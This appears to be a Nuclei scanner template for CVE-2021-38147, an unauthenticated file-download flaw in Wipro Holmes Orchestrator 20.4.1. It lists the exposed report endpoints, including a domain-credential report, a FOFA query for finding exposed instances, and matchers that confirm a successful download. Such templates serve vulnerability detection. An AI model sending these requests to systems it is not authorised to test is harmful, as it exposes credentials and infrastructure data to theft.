id: CVE-2021-38147

info:
  name: Wipro Holmes Orchestrator 20.4.1 - Information Disclosure
  author: s4e-io
  severity: high
  description: |
    Wipro Holmes Orchestrator 20.4.1 (20.4.1_02_11_2020) allows remote attackers to download arbitrary files, such as reports containing sensitive information, because authentication is not required for API access to processexecution/DownloadExcelFile/Domain_Credential_Report_Excel, processexecution/DownloadExcelFile/User_Report_Excel, processexecution/DownloadExcelFile/Process_Report_Excel, processexecution/DownloadExcelFile/Infrastructure_Report_Excel, or processexecution/DownloadExcelFile/Resolver_Report_Excel.
  impact: |
    Unauthenticated attackers can download sensitive reports containing Domain Credentials, User Information, Process Details, Infrastructure Data, and Resolver Information without authentication.
  remediation: |
    Fixed In v21.4.0
  reference:
    - https://packetstormsecurity.com/files/165039/Wipro-Holmes-Orchestrator-20.4.1-Report-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38147
    - https://www.wipro.com/holmes/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-38147
    cwe-id: CWE-306
    epss-score: 0.53008
    epss-percentile: 0.98839
    cpe: cpe:2.3:a:wipro:holmes:20.4.1:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: wipro
    product: holmes
    fofa-query: title="Holmes Orchestrator"
  tags: cve,cve2021,wipro,holmes,orchestrator,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/processexecution/DownloadExcelFile/Domain_Credential_Report_Excel"
      - "{{BaseURL}}/processexecution/DownloadExcelFile/Process_Report_Excel"
      - "{{BaseURL}}/processexecution/DownloadExcelFile/Infrastructure_Report_Excel"
      - "{{BaseURL}}/processexecution/DownloadExcelFile/Resolver_Report_Excel"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - "contains_all(header, 'application/vnd.openxml', 'attachment; filename=')"
          - "contains(body, '<?xml version=')"
          - "status_code == 200"
        condition: and
# digest: 4a0a0047304502203ff4133a7f72a3006d09b22b812f8a0b122304605fb9117eb4700f468e3921a9022100de69b954515b3dec48edbe747c6e288d4dca941934c14b6712a92b91de65b21a:922c64590222798bb761d5b6d8e72950